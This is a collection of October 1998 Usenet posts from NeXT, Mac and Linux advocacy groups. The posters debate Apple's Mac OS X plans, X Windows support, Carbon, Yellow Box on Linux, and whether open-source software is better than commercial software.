From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com> <70bmt9$25lq$1@piglet.cc.uic.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sun, 18 Oct 1998 00:49:05 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 17 Oct 1998 23:48:28 -0500
Anil T Maliyekke wrote:
> Point taken. I used to do similar things. But if you are talking
> mainly about supporting remote display of applications onto your
> Mac OS X desktop, it isn't necessary for Apple to give you this
> support, since third parties can provide those tools. In fact
> I think there are some free X emulators available for Rhapsody/OpenStep.
I can't really emphasize strongly enough the difference between built-in
functionality and third-party add-on functionality. It doesn't seem to
translate in conversation, so I'll just state it and let it be. There's
a big difference.
Okay, I couldn't let it be. Look, my Linux distribution (SuSE Linux 5.3)
came on *four* CD-ROMs. It comes with a truckload of software
pre-compiled and configured for use on a SuSE Linux system. This is *so*
important. The amount of time it would take me to build and install what
I need from the SuSE CD-ROMs is tremendous. It is a really significant
thing that the software comes, whammo, right out of the box.
It's like, we have a public directory full of free software for the
Solaris environments in the office. It's almost always out of date. When
we upgraded from SunOS to Solaris, most of the stuff had to be rebuilt
and upgraded. Big effort. Our ghostscript interpreter doesn't even work
(we have version 2.62 installed! that's like, only five years old), and
I haven't even bothered to fix it (next paragraph).
But the Linux boxes are always up-to-date. Every three months, or so, we
put in the new version of Red Hat or whatever (one $50 investment) and
presto! the whole system is current.
On my Windows box, which is upgraded and re-installed pretty frequently,
I keep a permanent, separate partition full of installers because it's
such a pain to go out and retrieve software I need. Moreover, I don't
always remember what I used to have, such that a few years ago, before I
had spare disk space to use for this function, I used to keep shopping
lists of software that I would download and install every time I
upgraded.
Final point: I hate going to some other box, one that isn't mine and
doesn't have my suite of tools, and having to either do without or get
permission to install some particular tool because that functionality
isn't built into the system.
> However, if you want native ports of X Windows applications, it probably
> would be preferable for Apple to provide that support so that you can
> ensure the libraries used are consistent and compatible and easily
> targetable by third parties porting over X Windows applications.
I totally agree. Adding native X Windows support, both runtime libraries
and development libraries, adds functionality. It doesn't remove
functionality. If your users are going to be scared because you put an
extra piece of software on the machine, those users need to get over it!
For Pete's sake, if you don't want it don't use it. You could solve all
the FUD by simply saying "Look, we're adding X Windows support and this
is what it does...[blah blah blah blah] Most people won't need this, and
if you want to know more about why X Windows won't affect you, please
read the Apple X Windows FAQ at [blah blah] If you want to know why X
Windows support is an exciting feature for enterprises with existing
Unix-based systems, the FAQ will likewise be helpful". Instead of being
clever about it, why not just be open?
> : Rootless X Windows apps decorated by MacOS X. What's inconsistent? If
> : Carbon and YB can co-exist, so can Carbon and Qt or Carbon and Motif
> : 2.0.
>
> They can coexist on the screen, but that doesn't mean it will
> look like they belong. Motif or Qt Widgets will likely look out
> of place. But that isn't the main issue.
No, I really mean it! Qt widgets look like whatever system they're
running on. Currently Qt supports Windows and Motif; on Windows it looks
like a Windows app. There is preliminary code in there for MacOS but it
never got finished because Troll Tech decided not to do a Mac port (I
don't blame them). I am 100% sure there will be a MacOS X port, and if
so, there will be a MacOS X GUIStyle constant for use in choosing widget
look (and KDE has figured out a way to change this constant even after a
program has been compiled). If I write an X Windows Qt program (and I
have been known to do this :-) I could literally change a single
character in my program, recompile it on MacOS X, and my program would
look just like MacOS X. Actually, if I didn't explicitly choose the
GUIStyle in my code, the libraries would automatically choose the
appropriate look.
As for Motif, well, they really don't look that different. Besides,
Apple could create its own Motif implementation (or license one) that
simply makes the widgets look like MacOS X widgets. Not exactly rocket
science.
> The main thing is support of GUI operations and features
> like graphics or other non text cut & paste and drag and drop between
> applications and the deskop.
If Apple is clever it can write Services that will handle the
translation between DnD and CnP interfaces seamlessly.
> What I mean is that adding UNIX services isn't going to make
> NT robust like UNIX, or OS/390, OS/400 or VMS.
That's very true, but from a functionality standpoint, it is reaching
parity.
> I think Microsoft
> made a wrong turn along the way with NT, and now they can't go
> back and fix it without creating an ugly mess.
Yeah, no doubt about that.
> Microsoft's
> priorities when they first created NT were to create a more advanced OS
> with an integrated GUI, not a truly robust and secure multiuser system.
This is very aggravating. If Microsoft had begun with Unix and built
their environment on top of it, they could have been so successful
(could've made a lot of people very happy). Instead, they did it "their
way" and now they're backtracking but they've passed a point of no
return on most of the internals. NT is a stinkin' mess and always will
be unless Microsoft spends the money to start over. What they probably
don't realize is that it would be ten times cheaper to start over than
to keep going with their gargantuan pile of hacks. After all, tiny NeXT
built NeXTstep on top of a Unix base with a miniscule fraction of
Microsoft's resources.
Oh, it'll work. IBM made OS/390 work, despite its massive bloated size.
But it's going to be brute force that achieves it, and it's going to
cost Microsoft dearly; they failed to kill Unix for the past three
years, and it's going to haunt them. I find it side-splittingly
hilarious that Unix may someday be responsible for the humiliating
defeat of not one, but two industry giants over the span of thirty
years. What a thrilling time to be alive...
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarrisF10Lyz.2Ap@netcom.com>
Organization: Netcom
References: <705opt$5ms@newsb.netnews.att.com> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]> <tim-1710981121180001@jump-tnt-0212.customer.jump.net>
Date: Sun, 18 Oct 1998 08:52:10 GMT
Sender: rbarris@netcom10.netcom.com
In article <tim-1710981121180001@jump-tnt-0212.customer.jump.net>,
Tim Olson <tim@jumpnet.com> wrote:
>In article <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]>, lars.farm@ite.mh.se
>(Lars Farm) wrote:
>
>| MPEG system level timestamps. Actually required to be 33-bit numbers,
>| but 64-bit integers internally is convenient and what I do.
>
>Ah, good; a real >32-bit datatype. Do you know how often these are
>operated upon in MPEG code? I assume that there is one per frame, so it
>would seem to me that they only are needed roughly 30 - 60 times per
>second. That rate can easily be handled with existing 32-bit processors
>implementing 64-bit arithmetic in software (i.e. add/addc), and is handled
>directly by most compilers implementing a "long long" datatype.
A "double" can be used as a convenient 52-bit integer in a pinch too.
Rob
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple as Linux vendor
Date: 18 Oct 1998 17:39:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d955$flm@news1.panix.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news> <gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <FIiROLCWddLd-pn2-SXsHZPje1VLd@localhost> <F0y0MM.5uL@T-FCN.Net>
On Fri, 16 Oct 1998 23:15:56 GMT,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <FIiROLCWddLd-pn2-SXsHZPje1VLd@localhost> taiQ wrote:
>> See <http://www.MacKiDO.com/Opinion/AppleLinux.html> for a suggestion
>> about Mac OS (Carbon) APIs for Linux...
> The problem is that it's a technologically naive idea. There's all sorts
>of problems to consider, not the least of which are bit-ordering and
>interrupt processing, all to offer something that's not really better than
>what's there now (although a lot prettier).
How seriously can you take MacKiDo? The web site labels itself as "the temple
of Macintosh". The fact that they would present a technologically naive idea
is hardly shocking.
A few months back I followed a link from stepwise to a MacKiDo article on NT.
I sent the article's editor a very polite note pointing out a few minor (and
one major) technical errors in his article. They made the claim that NT does
not support true multi user functionality. I pointed out that this was wrong,
and that NT is a true multi user system, and that remote connectivity via TTY
or GUI is secondary (if not totally unrelated) to the discussion of support of
true multi user computing. Disabling telnetd and remote xterms doesn't remove
the support for MU from the OS under Unix, and adding telnetd and remote
GUI to MacOS won't make it a true MU system. The two, while related are not
the same.
His response was telling me that "while my statements were technically true,
they aren't in keeping with the theme of the article" And that theme was
what? Spreading deliberately misleading (if not patently wrong) information
about NT?
>> I believe Apple would've preferred quicker migration to YB; after all,
>> the original strategy didn't go beyond Blue Box. It was largely
The original strategy would have put YB on MacOS to tempt Mac ISV to moving
to YB as quickly as possible. MacOS ISVs simply didn't want to put that kind
of effort in.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 18 Oct 1998 17:39:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d957$flm@news1.panix.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com> <701cmv$6bk@news1.panix.com> <3624C1B9.F1B81B2F@ericsson.com>
On Wed, 14 Oct 1998 10:22:33 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>I don't know how you came up with all that, since I never described what
>I was talking about (indeed, said very little about). But since you
>obviously know what I meant better than I do, why stop here? Run with
>it.
Nice. You dodged the point like a prize fighter.
>> Don't you think that it is pretty close? Carbon is a two way porting tool
>> that does the very thing you advocated, build native Apps on both MacOS
>> and Rhapsody.
>No, it's not close. Carbon is not a two-way porting tool, it's a
>revision to an API that allows a new underlying implementation in order
>to gain new features invisibly.
It is a porting tool. It lets _existing_ code be implemented on new
platforms.
>What did you mean by "two-way porting tool"? Does Carbon allow you to
>port YB software to the Toolbox?
No, but neither would what you described.
> It's not even a one-way porting tool;
>it doesn't allow you to port from Toolbox to YB.
Neither would what you described.
>All it does is allow
>Toolbox to be intelligently, natively implemented on a new OS and
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>kernel.
That's called porting.
>> >> And how are you going to convince Mac ISVs to port to a new API when
>> >> Apple couldn't convince them to port to YellowBox?
>> >Read my original post.
>> You didn't answer it, you dodged it like you are doing now.
>I still won't answer it, because I can't!
> The question doesn't make a
>bit of sense. I'm not asking ISVs to port to anything.
Then how do you consider what you are saying to be a "porting tool"?
> Again, read the
>original post. If you're not going to pay attention to a thing I say,
>how do you think it makes you look when you insist on answers?
How do you expect me to keep track of what you are saying when you
keep contradicting yourself?
>I'd be less frustrated if you didn't pretend to work in a profession
>that would require familiarity with these concepts.
Cute.
> In the past you've
>claimed to work on porting between X Windows and Windows NT, so I guess
>I just assumed you had hands-on experience with this stuff. For
>instance, I would assume you had more than a passing understanding of
>software tools and concepts like UIM/X and Wind/U, basic UIL, API
>layering, and encapsulation. As a consequence,
Huh?
You consider tools that help you port MFC Apps to be native X11, and
tools to port X/Motif Apps to native NT to be porting tools, but you don't
consider Carbon a porting tool?
How is a library or framework geared to running MFC Apps on X is a porting
tool, but a library or framework for running MacOS under MacOSX isn't?
>It would be one thing if you said "you never described what you were
>talking about, can you go into some detail now?", or "what you mentioned
>sounded a lot like Carbon. What's different?", or "I don't see how what
>you mentioned could have been successful, given the last year's track
>record. How, exactly, would you expect it to work, or failing that, how
>have you revised your opinions?" That would be real conversation. To
Yes I did. Go back and re-read my first post.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 18 Oct 1998 17:44:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d9e2$fpf@news1.panix.com>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com>
On Fri, 16 Oct 1998 17:15:06 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>How about a good example of why remotability is a good idea?
>
>Cast:
>
>Bob, an office worker
>Bob2, who works across the cubicle wall
>
>Act One
>Bob: Hey, look at this cool picture!
>Bob2: [clomp clomp clomp clomp clomp clomp clomp clomp clomp clomp]
> Cool!
> [clomp clomp clomp clomp clomp clomp clomp clomp clomp clomp]
>
>Act Two
>Bob: Hey, Bob2, take a look at this cool picture! [type type type]
>Bob2: Cool!
>
>Curtain
Act Three:
Bob: Hey, Bob2, take a look at this cool picture!
Bob2: Hey, why don't you copy them to .../shared for me?
_or_
Bob: Hey, Bob2, take a look at this cool picture!
Bob2: Shut up already! I know waht tits look like and I have a deadline!
:)
Message-ID: <362A307E.F06DA670@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost>
<36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 18 Oct 1998 13:16:30 -0500
NNTP-Posting-Date: Sun, 18 Oct 1998 14:17:05 EDT
Organization: ISPNews http://ispnews.com
John C. Randolph wrote:
> Eric's "conjecture", as you call it, is quite demonstrable. Open source
> gains the benefit of *many* eyes looking for flaws, and the proof is in the
> pudding. Linux runs solaris binaries faster than solaris. Linux gets its
> security fixes weeks or months before the commercial UNIXes, typically neck
> and neck with the free BSD's.
>
> GCC has code generators available for more processors than any other
> compiler, and its code quality is rarely exceeded by anything but
> special-purpose, single-target compilers produced by the chip manufacturer.
It's probably due to wide use in targeting embedded applications that it
has those capabilities. Small wonder that the SPARCWorks compiler, for
instance, doesn't support StrongARM, no?
Then again, getting a GCC cross-compiler to work as desired is no small
feat. How does Cygnus make its money?
> Perl and Python make tremendous gains in power and usefullness with every
> release.
True. Both are excellent languages. Which commercial software were you
comparing to them?
> Sure, some crap gets released as Open-Source code. Linux wasn't very
> impressive when it hit the streets as a rev on Minix, but look at the *rate*
> of improvement.
Also excellent.
> Eric's contention is that Open Source is more conducive to quality software,
> and I agree with him, based on direct, personal experience with many of the
> widely-known programs available on such terms.
All you've demonstrated is that hand-picked examples can be found to
support ESR's statement. I can find plenty of counter-examples. The
SNiFF+ IDE is far better than anything in the free software world,
including anything from Cygnus. The commercially-sold Qt is a better
widget library that comes with better support than anything in the free
software world (GTK? *chuckle*). Solaris has better SMP than Linux, and
supports up to 64 processors. All of the mainstream Unix vendors support
hardware 3D acceleration.
In most cases, free software is the fruit of effort by people who like a
commercial product but want it changed, somehow. There are at least a
half-dozen ICQ clones being written under Open Source license. Most of
them come with an announcement that goes something like this:
"GNU_ICQ_clone #6394 has a stated purpose of fully matching the
Mirabilis ICQ product feature-for-feature, but we also plan to add our
own superior functionality." It seems sort of silly (and egotistical in
the extreme) to claim that free software is superior when all you're
doing is copying someone else's idea and sticking your own additions on
top of it.
I'm all for copying commercial software for the purpose of making highly
accessible substitutes. I love that idea. Most of KDE is written for
exactly that purpose; that is one of the reasons I see much more
potential in KDE than in GNOME, which (falsely, in my opinion) claims to
be capable of simultaneously innovating and turning out a quality
product. When the free software community can both match commercial
quality/innovation *and* provide its own impetus for new
development/innovation, I will support ESR's claim. The vast majority of
free software fails this test.
If you can show me where all the cool, new, innovative things are being
done in the free software world, I'll be on your wagon. I agree that
Perl and Python make excellent examples, but you've really got to go
beyond a handful and demonstrate a systematic tendency; in my
experience, there just aren't enough good coders in the free software
community to bear that out.
MJP
From: dblake@209-142-19-207.oak.inreach.net (Dave Blake)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net>
Message-ID: <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net>
Date: Sun, 18 Oct 1998 18:54:48 GMT
NNTP-Posting-Date: Sun, 18 Oct 1998 11:54:48 PDT
Organization: InReach Internet
Michael J. Peck <mjpeck@nstar.net> wrote:
>All you've demonstrated is that hand-picked examples can be found to
>support ESR's statement. I can find plenty of counter-examples. The
>SNiFF+ IDE is far better than anything in the free software world,
>including anything from Cygnus. The commercially-sold Qt is a better
>widget library that comes with better support than anything in the free
>software world (GTK? *chuckle*). Solaris has better SMP than Linux, and
>supports up to 64 processors. All of the mainstream Unix vendors support
>hardware 3D acceleration.
Linux has better SMP than Solaris for the number of processors
in the development tree (I think it is 8). Solaris, SGI, and Dec
Unix all scale higher than that but it is a very very small
market for a terabyte drive 128 processor machine. The PC bus makes
more than about 4 processors irrelevant anyway. It would be great,
but not a tremendous contribution to the computing world, if linux
went to higher processor numbers for alpha and sparc ports. It
would not be a great contribution since there are just not that
many machines.
>In most cases, free software is the fruit of effort by people who like a
>commercial product but want it changed, somehow.
I think the equivalent statement is
In most cases, free software is the fruit of effort by people for
whom a commercial product just didn't match their needs.
For example, INN. Sendmail. X windows. Apache. TeX and LaTeX and
LyX and kLyX.
As an example of ONE of those, Knuth invented TeX because commercial
word processors have a really hard time displaying equations with
Greek symbols. Now, LaTeX is the standard for document creation
worldwide for mathematics. And you know what - it really does make
equation displaying a breeze. LaTeX was created from TeX. LyX was
the addition of more functionality - WYSIWYG. kLyX added yet more
functionality with a widget set.
>There are at least a
>half-dozen ICQ clones being written under Open Source license. Most of
>them come with an announcement that goes something like this:
>"GNU_ICQ_clone #6394 has a stated purpose of fully matching the
>Mirabilis ICQ product feature-for-feature, but we also plan to add our
>own superior functionality." It seems sort of silly (and egotistical in
>the extreme) to claim that free software is superior when all you're
>doing is copying someone else's idea and sticking your own additions on
>top of it.
It is reverse engineering someone else's idea and adding functionality.
That is the essence of EVERY new product created that does anything.
Putting it in the GPL means that when someone else wants to add
further functionality, they don't have to start by re-inventing
the wheel.
>I'm all for copying commercial software for the purpose of making highly
>accessible substitutes. I love that idea. Most of KDE is written for
>exactly that purpose; that is one of the reasons I see much more
>potential in KDE than in GNOME, which (falsely, in my opinion) claims to
>be capable of simultaneously innovating and turning out a quality
>product. When the free software community can both match commercial
>quality/innovation *and* provide its own impetus for new
>development/innovation, I will support ESR's claim. The vast majority of
>free software fails this test.
I think you are looking at the wrong free software. Free software
dominates the networking environment. Apache/linux powers web
servers. Sendmail is the world's email postal service.
In the case of GNOME, I think you will eventually see that they are
doing the right thing. First, make a really really solid toolkit,
like GTK, which is more full featured than QT. Then, think about what
you want in a desktop environment. One important thing is communication
between programs. So use mico. But mico blows, so write a very full
featured object request broker library that uses CORBA. The
groundwork has been laid, and now efforts are underway to
use these great tools and make great apps. KDE built on a somewhat
less solid foundation, so it remains to be seen if they will be
able to solidly implement CORBA after the fact.
>If you can show me where all the cool, new, innovative things are being
>done in the free software world, I'll be on your wagon. I agree that
>Perl and Python make excellent examples, but you've really got to go
>beyond a handful and demonstrate a systematic tendency; in my
>experience, there just aren't enough good coders in the free software
>community to bear that out.
If you would have any idea of what the computing world would
look like without free software, you would know.
DB
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-gcyw088TVKWs@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 18 Oct 1998 19:23:48 GMT
Organization: IBM.NET
On Sat, 17 Oct 1998 21:03:20, "Michael J. Peck" <mjpeck@nstar.net>
thought aloud:
> taiQ wrote:
>
> [cut]
>
> > Also, thanks for your explanation in another message regarding the
> > ideal implementation of Yellow Box for Linux. "Going direct" by
> > bypassing competitive object models, namely GNOME, would apparently
> > make YB/Linux very similar to the Mac OS X ('99) intel release - sans
> > Carbon - which Apple isn't planning on releasing (it's planned for
> > PowerPC only).
>
> No, Maury's explanation didn't say that YB and other Linux software
> would be totally ignorant of each other. Your statement sounds as if
> there were no Linux before GNOME. I know you didn't mean it that way,
> but I hate when I hear things like that.
Right. What I meant was that if GNOME does grow up - not just in the
bloat factor sense - and becomes a mainstream component then YB would
do well to "embrace and extend it", instead of simply providing a more
advanced but a niche alternative. If Apple targeted YB-on-Linux mostly
towards, say, certain enterprise / server niches to begin with
obviously a direct port would be the way to go.
> > Perhaps too similar. While officially "Linux" refers to
> > the kernel, the platform itself is a larger entity with very strong
> > emphasis (or its whole existence being based) on "open source"
> > philosophy.
>
> Some of us, nay, many of us, don't see it that way. Open Source means
> roughly nothing to me. I don't give a rat's ass for Richard Stallman and
> his crazy socialist antics, and I certainly don't support Eric Raymond's
> conjecture that Open Source software is, somehow, technically superior
> to commercial software.
I'm not into Open Source[tm] fundamentalism either, but I still
believe that the core OS software should be non-proprietary to avoid
the threats of Unixy fragmentation or even OS-jacking. Yet improved
availability of commercial high quality enhancements and productivity
software etc. is also needed for wider acceptance of Linux and the
tide will lift all the boats,
[schnip]
> > YB
> > would have to become completely open source (GPL?) to gain core
> > acceptability.
>
> Wrong. Have you seen the way logic design software is being ported en
> masse to Linux? These are corporate logic design users who want to use
> Verilog and they want to use Linux. Period. They like Linux because it
> is cool, not because it fulfills some college-dorm inner child yearning
> for a True Communism(TM) in the computer industry. I'm reminded of what
> John Carmack said in the README file for the original Linux Doom port:
> "A lot of people ask me why I wasted my time writing this port. I did it
> because Linux gives me a woody".
Poor choice of words on my part. By "core acceptability" I meant OS
components that are essential if one wishes to run mainstream Linux
apps, ie. the kernel, libraries, X-windows, drivers (although Linus
OK'ed closed-source drivers as modules recently).
Imagine if (closed-source) YB became a dominant standard on Linux,
most new apps were written for it (while GNOME et al had withered
away) and one day Apple decided to start charging $200 for a
single-user license? Or if Apple just "canceled" YB for not being
"core" enough technology for Apple (not unheard of)?.
IMO Linux' single biggest strength is that corporate politics can't
destroy it when they can't control the core components. Perhaps YB, or
parts of it, could be released under a license more similar to
Netscape's NPL than GPL?
Brgds,
--
taiQ
[this space is intentionally blank]
From: tmoran@hotmail.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: Sun, 18 Oct 1998 19:10:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70def2$7t$1@nnrp1.dejanews.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net>
In article <36290618.7C76D28F@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
[...]
> [...] I certainly don't support Eric Raymond's
> conjecture that Open Source software is, somehow, technically superior
> to commercial software.
>
The "somehow" set off by commas makes it sound a little as if ESR were
claiming that open source is superior in some "mystical" sense[1] -- he does,
after all, offer some _arguments_...
BTW I'd assume Raymond is quite as aware as is Linus (who seems fairly
relaxed on the subject of commercial software) that in some areas the closed
source vendors can get up to things that Linux _et alia_ can't touch (yet :)
) Those who need these things done aren't going to consider open source (yet)
anyway -- the initiative that ESR's involved in, tho', is aimed at many for
whom (say) Linux _would be_ a good (or even, the best) solution, but who for
various reasons haven't been willing to give it consideration (for some of
these, perhaps even to make the point of _non-inf_eriority would be to score
:) )
all best wishes,
tm
=====================
[1] As a side note, while it's at least arguable that some proponents of the
"older style" of argumentation for free software _are_ making a claim of more
or less this sort, I'd say the open source initiative is characterised by the
soft-pedalling ("non-pedalling"?) of the "moral" rhetoric...
=====================
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Press reports of Apple's profits
Newsgroups: comp.sys.next.advocacy
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <slrn72kcq6.mbi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <362a5818.0@news.depaul.edu>
Date: 18 Oct 98 21:05:28 GMT
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> :: Pixar's
> :: next full-length feature needs to be rendered on high-end Apple Rhapsody
> :: boxes (1).
> :
> :I don't think getting next rendered movie rendered on Apple hardware
> :would do much good.
> I believed that Jobs has repatedly insisted that his job as
> interim-Apple-CEO-for-life will not lead him to override the technical
> judgement of his Pixar employees regarding their computational
> procurement, for the obvoius reason that he would incur great
> disrespect from the Pixar staff. And since all of them could obtain
> lucrative alternate employment....
> It would be nice if Apple happened to make computers sufficiently good
> for Pixar to want them.
The problem is that people would probably think of it the same
way they think of HotMail switching to NT (or trying to). People
would think that the switch was only due to Jobs, and not due to
any advantages of Rhapsody or Macs.
It would be far, far better if someone else adopted Rhapsody/PPC
for rendering.
I wonder if AltiVec would be useful for Renderman?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Message-ID: <362A74E3.847ED42C@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <FIiROLCWddLd-pn2-gcyw088TVKWs@localhost>
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NNTP-Posting-Date: Sun, 18 Oct 1998 19:08:53 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 18:08:19 -0500
taiQ wrote:
> Right. What I meant was that if GNOME does grow up - not just in the
> bloat factor sense - and becomes a mainstream component then YB would
> do well to "embrace and extend it", instead of simply providing a more
> advanced but a niche alternative. If Apple targeted YB-on-Linux mostly
> towards, say, certain enterprise / server niches to begin with
> obviously a direct port would be the way to go.
I see, but the timeframe you're talking about is several years into the
future. I would hope that we would see YB on Linux before that, and
because it's already "grown-up", it doesn't seem to make sense to
"embrace and extend" something that will come after (and with dubious
results).
> I'm not into Open Source[tm] fundamentalism either, but I still
> believe that the core OS software should be non-proprietary to avoid
> the threats of Unixy fragmentation or even OS-jacking. Yet improved
> availability of commercial high quality enhancements and productivity
> software etc. is also needed for wider acceptance of Linux and the
> tide will lift all the boats,
I dunno. I don't see increased acceptance of Linux as an end in itself.
I see it as one possible means toward getting the best software
possible. Unfortunately, the religion that accompanies Linux disturbs me
and I have no wish to see it spread further into the industry. In my
opinion, Open Source religion is *detrimental* to the pursuit of
excellent software because it places a higher emphasis on religion than
on technical excellence. The fact that KDE has *not* been accepted by
the Open Source crowd (even when GNOME did not exist) is proof-positive
for this phenomenon.
I don't need a Software Messiah, I need good software. I ran screaming
from the MacOS hordes, and they're pretty harmless by comparison to the
near-militant Linux mobs. Even MacOS people didn't talk about "world
domination", they satisfied themselves with calling the rest of the
world "stupid".
> Poor choice of words on my part. By "core acceptability" I meant OS
> components that are essential if one wishes to run mainstream Linux
> apps, ie. the kernel, libraries, X-windows, drivers (although Linus
> OK'ed closed-source drivers as modules recently).
Those components, absolutely.
> Imagine if (closed-source) YB became a dominant standard on Linux,
> most new apps were written for it (while GNOME et al had withered
> away) and one day Apple decided to start charging $200 for a
> single-user license? Or if Apple just "canceled" YB for not being
> "core" enough technology for Apple (not unheard of)?.
In that case Apple would be creating an instant market for competition.
And believe it, competition would rush in the fill the vacuum.
> IMO Linux' single biggest strength is that corporate politics can't
> destroy it when they can't control the core components.
That's a great thing. Is it more valuable than the things for which it
might be traded? Right now, I think the answer is yes. But evaluation of
the best possible outcome is a never-ending chore. Clear-minded people
will assign priorities to different virtues, and choose a solution based
on them. Fanatics will place singular importance on one ideal and ignore
all else. The most prevalent example of this is the way Free Software
has been given moral status.
Tradeoffs are a fact of life. Period, over and out, deal with it. Saying
"free software is a righteous cause, nothing else matters" is akin to
saying "if we save just one life, it doesn't matter what the cost may
be".
[John C. Randolph disagrees with my assessment of free software's
technical merits, not on its moral status, am I right?]
> Perhaps YB, or
> parts of it, could be released under a license more similar to
> Netscape's NPL than GPL?
I don't know much about NPL. I never kept up with that great flamewar of
days past (and present). I think a good license is one that allows men
to profit from their work. "Do not muzzle the ox when it is treading out
the grain." I meet a lot of people who want something for nothing. Once
upon a time, the free software community was built of stronger stuff.
MJP
Message-ID: <362A70AF.9E1CE1E3@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
